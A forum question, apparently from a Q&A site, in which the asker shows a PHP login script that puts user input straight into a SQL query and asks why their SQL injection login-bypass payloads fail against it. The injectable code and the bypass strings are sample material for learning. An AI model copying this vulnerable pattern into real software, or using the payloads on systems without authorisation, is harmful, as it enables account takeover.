title: LOGIN by SQL Injection?
body: <p>I have the following code on my website and want to login by using SQL Injection. I tried some codes for it but couldnt have a result.</p>
  
  <pre><code>$username = $_POST['username'];
  $password = $_POST['password'];
  
  $query = "SELECT * FROM users WHERE username='$username' AND password='$password' LIMIT 1";
  $sql = mysql_query($query);
  
  if( mysql_num_rows($sql) == 1 )
  {
      $row = mysql_fetch_array($sql);
      $_SESSION['id'] = $row['id'];
  }
  else
  {
      echo $query;
  } 
  </code></pre>
  
  <p>Here are the codes I tried. In the first one I tried from username:</p>
  
  <p>I mark my injected part as comment to make it easier to understand.</p>
  
  <p>Username entered: <code>admin' or id=1 ; --</code></p>
  
  <pre><code>SELECT * FROM users WHERE username='admin' or id=1 ; -- ' AND password='0' LIMIT 1"
  </code></pre>
  
  <p>And also I tried to enter by pass. With this code: <code>0' or '1'='1</code></p>
  
  <pre><code> SELECT * FROM users WHERE username='admin' AND password='0' or '1'='1' LIMIT 1"
  </code></pre>
  
  <p>What do I do wrong?</p>